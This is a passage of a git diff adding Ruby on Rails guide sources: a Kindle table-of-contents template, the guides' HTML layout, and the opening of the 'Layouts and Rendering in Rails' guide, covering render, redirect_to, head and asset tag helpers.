+<docAuthor><text>docrails</text></docAuthor>
+<navMap>
+  <navPoint playOrder="0" class="periodical" id="periodical">
+    <navLabel>
+      <text>Table of Contents</text>
+    </navLabel>
+    <content src="toc.html"/>
+
+    <navPoint class="section" id="welcome" playOrder="1">
+      <navLabel>
+        <text>Introduction</text>
+      </navLabel>
+      <content src="welcome.html"/>
+
+      <navPoint class="article" id="welcome" playOrder="2">
+        <navLabel>
+          <text>Welcome</text>
+        </navLabel>
+        <content src="welcome.html"/>
+      </navPoint>
+      <navPoint class="article" id="credits" playOrder="3">
+        <navLabel><text>Credits</text></navLabel>
+        <content src="credits.html">
+      </navPoint>
+      <navPoint class="article" id="copyright" playOrder="4">
+        <navLabel><text>Copyright &amp; License</text></navLabel>
+        <content src="copyright.html">
+      </navPoint> 
+    </navPoint>
+
+    <% play_order = 4 %>
+    <% documents_by_section.each_with_index do |section, section_no| %>
+      <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>">
+        <navLabel>
+          <text><%= section['name'] %></text>
+        </navLabel>
+        <content src="<%=section['documents'].first['url'] %>"/>
+        
+        <% section['documents'].each_with_index do |document, document_no| %>
+          <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>">
+            <navLabel>
+              <text><%= document['name'] %></text>
+            </navLabel>
+            <content src="<%=document['url'] %>"/>
+          </navPoint>
+        <% end %>
+      </navPoint>
+    <% end %>
+
+  </navPoint>
+</navMap>
+</ncx>
diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb
new file mode 100644
index 0000000000..610a71570f
--- /dev/null
+++ b/guides/source/kindle/welcome.html.erb
@@ -0,0 +1,5 @@
+<%= render 'welcome' %>
+
+<h3>Kindle Edition</h3>
+
+The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
new file mode 100644
index 0000000000..0a8daf7ae5
--- /dev/null
+++ b/guides/source/layout.html.erb
@@ -0,0 +1,126 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
+
+<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+</head>
+<body class="guide">
+  <% if @edge %>
+  <div>
+    <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
+  </div>
+  <% end %>
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="https://github.com/rails/rails">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <% ['L', 'R'].each do |position| %>
+              <dl class="<%= position %>">
+              <% docs_for_menu(position).each do |section| %>
+                <dt><%= section['name'] %></dt>
+                <% finished_documents(section['documents']).each do |document| %>
+                <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
+                <% end %>
+              <% end %>
+              </dl>
+            <% end %>
+          </div>
+        </li>
+        <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <%= yield :header_section %>
+
+      <%= yield :index_section %>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <%= yield.html_safe %>
+
+        <h3>Feedback</h3>
+        <p>
+          You're encouraged to help improve the quality of this guide.
+        </p>
+        <p>
+          If you see any typos or factual errors you are confident to
+          patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %>
+          and push the change yourself. That branch of Rails has public write access.
+          Commits are still reviewed, but that happens after you've submitted your
+          contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is
+          cross-merged with master periodically.
+        </p>
+        <p>
+          You may also find incomplete content, or stuff that is not up to date.
+          Please do add any missing documentation for master. Check the
+          <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+          for style and conventions.
+        </p>
+        <p>
+          If for whatever reason you spot something to fix but cannot patch it yourself, please
+          <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+        </p>
+        <p>And last but not least, any kind of discussion regarding Ruby on Rails
+          documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
+        </p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <%= render 'license' %>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
diff --git a/guides/source/layouts_and_rendering.textile b/guides/source/layouts_and_rendering.textile
new file mode 100644
index 0000000000..32ceecea18
--- /dev/null
+++ b/guides/source/layouts_and_rendering.textile
@@ -0,0 +1,1239 @@
+h2. Layouts and Rendering in Rails
+
+This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
+
+* Use the various rendering methods built into Rails
+* Create layouts with multiple content sections
+* Use partials to DRY up your views
+* Use nested layouts (sub-templates)
+
+endprologue.
+
+h3. Overview: How the Pieces Fit Together
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+h3. Creating Responses
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call +render+ to create a full response to send back to the browser
+* Call +redirect_to+ to send an HTTP redirect status code to the browser
+* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
+
+h4. Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
+
+<ruby>
+class BooksController < ApplicationController
+end
+</ruby>
+
+And the following in your routes file:
+
+<ruby>
+resources :books
+</ruby>
+
+And you have a view file +app/views/books/index.html.erb+:
+
+<ruby>
+<h1>Books are coming soon!</h1>
+</ruby>
+
+Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen.
+
+However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+:
+
+<ruby>
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+</ruby>
+
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file.
+
+If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
+
+<ruby>
+<h1>Listing Books</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Summary</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @books.each do |book| %>
+  <tr>
+    <td><%= book.title %></td>
+    <td><%= book.content %></td>
+    <td><%= link_to "Show", book %></td>
+    <td><%= link_to "Edit", edit_book_path(book) %></td>
+    <td><%= link_to "Remove", book, :method => :delete, :data => { :confirm => "Are you sure?" } %></td>
+  </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to "New book", new_book_path %>
+</ruby>
+
+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
+
+h4. Using +render+
+
+In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
+
+h5. Rendering Nothing
+
+Perhaps the simplest thing you can do with +render+ is to render nothing at all:
+
+<ruby>
+render :nothing => true
+</ruby>
+
+If you look at the response for this using cURL, you will see the following:
+
+<shell>
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+ $
+</shell>
+
+We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
+
+TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+h5. Rendering an Action's View
+
+If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
+
+<ruby>
+def update
+  @book = Book.find(params[:id])
+  if @book.update_attributes(params[:book])
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+</ruby>
+
+If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+<ruby>
+def update
+  @book = Book.find(params[:id])
+  if @book.update_attributes(params[:book])
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+</ruby>
+
+To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0):
+
+<ruby>
+def update
+  @book = Book.find(params[:id])
+  if @book.update_attributes(params[:book])
+    redirect_to(@book)
+  else
+    render :action => "edit"
+  end
+end
+</ruby>
+
+WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
+
+h5. Rendering an Action's Template from Another Controller
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+
+<ruby>
+render "products/show"
+</ruby>
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
+
+<ruby>
+render :template => "products/show"
+</ruby>
+
+h5. Rendering an Arbitrary File
+
+The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+
+<ruby>
+render "/u/apps/warehouse_app/current/app/views/products/show"
+</ruby>
+
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
+
+<ruby>
+render :file =>
+  "/u/apps/warehouse_app/current/app/views/products/show"
+</ruby>
+
+The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
+
+TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
+
+h5. Wrapping it up
+
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory:
+
+<ruby>
+render :edit
+render :action => :edit
+render "edit"
+render "edit.html.erb"
+render :action => "edit"
+render :action => "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render :template => "books/edit"
+render :template => "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render :file => "/path/to/rails/app/views/books/edit"
+render :file => "/path/to/rails/app/views/books/edit.html.erb"
+</ruby>
+
+Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
+
+h5. Using +render+ with +:inline+
+
+The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
+
+<ruby>
+render :inline =>
+  "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+</ruby>
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option:
+
+<ruby>
+render :inline =>
+  "xml.p {'Horrid coding practice!'}", :type => :builder
+</ruby>
+
+h5. Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
+
+<ruby>
+render :text => "OK"
+</ruby>
+
+TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option.
+
+h5. Rendering JSON
+
+JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+<ruby>
+render :json => @product
+</ruby>
+
+TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
+
+h5. Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+<ruby>
+render :xml => @product
+</ruby>
+
+TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
+
+h5. Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript:
+
+<ruby>
+render :js => "alert('Hello Rails');"
+</ruby>
+
+This will send the supplied string to the browser with a MIME type of +text/javascript+.
+
+h5. Options for +render+
+
+Calls to the +render+ method generally accept four options:
+
+* +:content_type+
+* +:layout+
+* +:status+
+* +:location+
+
+h6. The +:content_type+ Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
+
+<ruby>
+render :file => filename, :content_type => "application/rss"
+</ruby>
+
+h6. The +:layout+ Option
+
+With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
+You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
+
+<ruby>
+render :layout => "special_layout"
+</ruby>
+
+You can also tell Rails to render with no layout at all:
+
+<ruby>
+render :layout => false
+</ruby>
+
+h6. The +:status+ Option
+
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
+
+<ruby>
+render :status => 500
+render :status => :forbidden
+</ruby>
+
+Rails understands both numeric and symbolic status codes.
+
+h6. The +:location+ Option
+
+You can use the +:location+ option to set the HTTP +Location+ header:
+
+<ruby>
+render :xml => photo, :location => photo_url(photo)
+</ruby>
+
+h5. Finding Layouts
+
+To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+
+h6. Specifying Layouts for Controllers
+
+You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
+
+<ruby>
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+</ruby>
+
+With this declaration, all of the views rendered by the products controller will use +app/views/layouts/inventory.html.erb+ as their layout.
+
+To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+</ruby>
+
+With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
+
+h6. Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+<ruby>
+class ProductsController < ApplicationController
+  layout "products_layout"
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+</ruby>
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
+
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request:
+
+<ruby>
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+</ruby>
+
+h6. Conditional Layouts
+
+Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+
+<ruby>
+class ProductsController < ApplicationController
+  layout "product", :except => [:index, :rss]
+end
+</ruby>
+
+With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
+
+h6. Layout Inheritance
+
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
+
+* +application_controller.rb+
+
+<ruby>
+class ApplicationController < ActionController::Base
+  layout "main"
+end
+</ruby>
+
+* +posts_controller.rb+
+
+<ruby>
+class PostsController < ApplicationController
+end
+</ruby>
+
+* +special_posts_controller.rb+
+
+<ruby>
+class SpecialPostsController < PostsController
+  layout "special"
+end
+</ruby>
+
+* +old_posts_controller.rb+
+
+<ruby>
+class OldPostsController < SpecialPostsController
+  layout false
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def index
+    @old_posts = Post.older
+    render :layout => "old"
+  end
+  # ...
+end
+</ruby>
+
+In this application:
+
+* In general, views will be rendered in the +main+ layout
+* +PostsController#index+ will use the +main+ layout
+* +SpecialPostsController#index+ will use the +special+ layout
+* +OldPostsController#show+ will use no layout at all
+* +OldPostsController#index+ will use the +old+ layout
+
+h5. Avoiding Double Render Errors
+
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
+
+For example, here's some code that will trigger this error:
+
+<ruby>
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show"
+  end
+  render :action => "regular_show"
+end
+</ruby>
+
+If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
+
+<ruby>
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show" and return
+  end
+  render :action => "regular_show"
+end
+</ruby>
+
+Make sure to use +and return+ instead of +&amp;&amp; return+ because +&amp;&amp; return+ will not work due to the operator precedence in the Ruby Language.
+
+Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors:
+
+<ruby>
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render :action => "special_show"
+  end
+end
+</ruby>
+
+This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
+
+h4. Using +redirect_to+
+
+Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+<ruby>
+redirect_to photos_url
+</ruby>
+
+You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from:
+
+<ruby>
+redirect_to :back
+</ruby>
+
+h5. Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
+
+<ruby>
+redirect_to photos_path, :status => 301
+</ruby>
+
+Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
+
+h5. The Difference Between +render+ and +redirect_to+
+
+Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+<ruby>
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    render :action => "index"
+  end
+end
+</ruby>
+
+With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering:
+
+<ruby>
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    redirect_to :action => :index
+  end
+end
+</ruby>
+
+With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
+
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
+
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
+
+<ruby>
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by_id(params[:id])
+  if @book.nil?
+    @books = Book.all
+    render "index", :alert => "Your book was not found!"
+  end
+end
+</ruby>
+
+This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
+
+h4. Using +head+ To Build Header-Only Responses
+
+The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+<ruby>
+head :bad_request
+</ruby>
+
+This would produce the following header:
+
+<shell>
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+</shell>
+
+Or you can use other HTTP headers to convey other information:
+
+<ruby>
+head :created, :location => photo_path(@photo)
+</ruby>
+
+Which would produce:
+
+<shell>
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+</shell>
+
+h3. Structuring Layouts
+
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* +yield+ and +content_for+
+* Partials
+
+h4. Asset Tag Helpers
+
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
+
+* +auto_discovery_link_tag+
+* +javascript_include_tag+
+* +stylesheet_link_tag+
+* +image_tag+
+* +video_tag+
+* +audio_tag+
+
+You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +&lt;head&gt;+ section of a layout.
+
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+h5. Linking to Feeds with the +auto_discovery_link_tag+
+
+The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+<erb>
+<%= auto_discovery_link_tag(:rss, {:action => "feed"},
+  {:title => "RSS Feed"}) %>
+</erb>
+
+There are three tag options available for the +auto_discovery_link_tag+:
+
+* +:rel+ specifies the +rel+ value in the link. The default value is "alternate".
+* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* +:title+ specifies the title of the link. The default value is the uppercased +:type+ value, for example, "ATOM" or "RSS".
+
+h5. Linking to JavaScript Files with the +javascript_include_tag+
+
+The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline":asset_pipeline.html enabled, this helper will generate a link to +/assets/javascripts/+ rather than +public/javascripts+ which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.
+
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. These locations are explained in detail in the "Asset Organization section in the Asset Pipeline Guide":asset_pipeline.html#asset-organization
+
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called +javascripts+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
+
+<erb>
+<%= javascript_include_tag "main" %>
+</erb>
+
+Rails will then output a +script+ tag such as this:
+
+<html>
+<script src='/assets/main.js'></script>
+</html>
+
+The request to this asset is then served by the Sprockets gem.
+
+To include multiple files such as +app/assets/javascripts/main.js+ and +app/assets/javascripts/columns.js+ at the same time:
+
+<erb>
+<%= javascript_include_tag "main", "columns" %>
+</erb>
+
+To include +app/assets/javascripts/main.js+ and +app/assets/javascripts/photos/columns.js+:
+
+<erb>
+<%= javascript_include_tag "main", "/photos/columns" %>
+</erb>
+
+To include +http://example.com/main.js+:
+
+<erb>
+<%= javascript_include_tag "http://example.com/main.js" %>
+</erb>
+
+If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default:
+
+<erb>
+<%= javascript_include_tag :defaults %>
+</erb>
+
+Outputting +script+ tags such as this:
+
+<html>
+<script src="/javascripts/jquery.js"></script>
+<script src="/javascripts/jquery_ujs.js"></script>
+</html>
+
+These two files for jQuery, +jquery.js+ and +jquery_ujs.js+ must be placed inside +public/javascripts+ if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts
+
+WARNING: If you are using the asset pipeline, this tag will render a +script+ tag for an asset called +defaults.js+, which would not exist in your application unless you've explicitly created it.
+
+And you can in any case override the +:defaults+ expansion in <tt>config/application.rb</tt>:
+
+<ruby>
+config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
+</ruby>
+
+You can also define new defaults:
+
+<ruby>
+config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js)
+</ruby>
+
+And use them by referencing them exactly like +:defaults+:
+
+<erb>
+<%= javascript_include_tag :projects %>
+</erb>
+
+When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at the end.
+
+Also, if the asset pipeline is disabled, the +:all+ expansion loads every JavaScript file in +public/javascripts+:
+
+<erb>
+<%= javascript_include_tag :all %>
+</erb>
+
+Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
+
+You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
+
+<erb>
+<%= javascript_include_tag :all, :recursive => true %>
+</erb>
+
